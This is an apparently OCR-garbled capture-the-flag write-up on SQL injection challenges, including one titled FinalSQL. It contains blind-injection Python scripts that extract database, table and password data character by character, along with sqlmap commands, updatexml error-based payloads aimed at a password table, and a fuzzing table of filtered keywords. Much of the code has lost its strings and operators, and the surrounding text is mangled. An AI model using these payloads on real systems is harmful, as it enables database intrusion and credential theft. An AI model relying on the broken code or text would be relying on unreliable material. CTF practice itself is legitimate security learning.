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4.sys.schema_table_statistics_with_buffer
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import requests

import string

if _ _name__

url

dic string.ascii_letters + string.digits

params

temp
for i in range(1,590):
for s in dic:
payload .format(params,i,ord(s))
data {
: payload
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reponse requests.post(url=url,data=data)
if in reponse.text:

temp S

print(temp)

break
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import requests

if _ name_
url
def ord2hex(flag):
result
for i in flag:
result hex(ord(i))
result result.replace(

return result

flag
for i in range(1,500):
hexchar
for char in range(32,127):
hexchar = ord2hex(flag+ chr(char))
payload .format(hexchar)
data {
: payload
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reponse requests.post(url=url,data=data).text
if in reponse:

flag chr(char-1)

print(flag)

break
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2.python sqlmap.py -r 1.txt -D ¥EFE--tables
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4.python sqlmap.py -r 1l.txt -D #¥EE-T HIERK-C username (F8) ,password
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“wrong pass!”; }

“wrong user!”;}
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@admin'or(updatexml(1,concat(@x7e,database(),0x7e),1))%23

geek

R &

admin'or(updatexml (1, concat(0x7e, (select(group_concat(table_name))from(information_schema.tables)where(table_sch
ema)like(database())),0x7e),1))%23

H4rDsql')),0x7e),1))%23
id,username,password
IR B

admin'or(updatexml (1, concat(@x7e, (select(password)from(H4rDsql)),0x7e),1))%23
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admin'or(updatexml (1, concat(0x7e, (select(left(password,30))from(H4rDsql)),0x7e),1))%23
admin'or(updatexml (1, concat(0x7e, (select(right(password,30))from(H4rDsql)),0x7e),1))%23
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admin'”(updatexml(1,concat(0x7e, (select(password)from(H4rDsql)),0x7e),1))%23

[ & X3k ik 2019]FinalSQL
—RBEE. Z4%

ERHESIE T T



Request | Payload | Status | Error | Timeout | Length 4 | Comment |

10 select 200 [l [l 727
11 unian 200 L L 727
12 union select 200 [l [l 727
13 -+ 200 ] L 727
14 - 200 [ [ 727
14 - - 200 ] ] 727
16 handler 200 [ [ 727
17 and 200 ] ] 727
18 or 200 ] ] 727
19 = 200 [ LJ 727

get
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id=1"(length(database())>1)"1
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import requests
import string
import time
start_time = time.time()
url
dic string.ascii_letters string.digits
temp
for i in range(1,49):
for char in dic:
# BEBEEE
# payload = "17(ascii(substr(database(),{},1))={})"1".format(i,ord(char))
#tgeek
#HRBBIER
# payload = "17(ascii(substr((select(group _concat(table name))from(information_schema.tables)where(table
schema)="geek'),{},1))={})"1".format(i, ord(char))# group_ concat¥tf[EK1TH &%k
# data: FlnaIly, Flaaaaag
#HE 514
# payload = "17(ascii(substr((select(group_concat(column_name))from(information_ schema.columns)where(tab
le name)='FlnaIly'),{},1))={})"*1".format(i, ord(char))
#tdata:id,username, password
#IRHE
payload

urls url+payload
r requests.get(url=urls).text
# print(r)
if in r:
temp+=char
print(
break
end_time = time.time()

print(end_time-start_time)
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# {E# (Author): clay
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import re
import requests
import string

import time

start_time = time.time()

# sql "1~ (ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)*1"%(1i
»J3) I P4

# sql = "1~(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="
geek ') ,%d,1))>%d)~1"%(1,7) #R4

# sql = "1”(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="'F
1nally')),%d,1))>%d)*1"%(i,j) #5314

sql (i, 3)

data { : sql}

r = requests.get(url, params=data)

# print (r.url)

if in r.text:

1

return res

exp():
global flag
for i in range(1, 10000):
print(i, )
low 31
high = 127
while low high:
mid (low + high)
res payload(i, mid)
if res:
low = mid
else:
high mid 1
f = int((low + high + 1))
if (f 127 or f 31):
break
# print (f)
flag chr(f)
print(flag)

time.time()
print(end_time-start_time)
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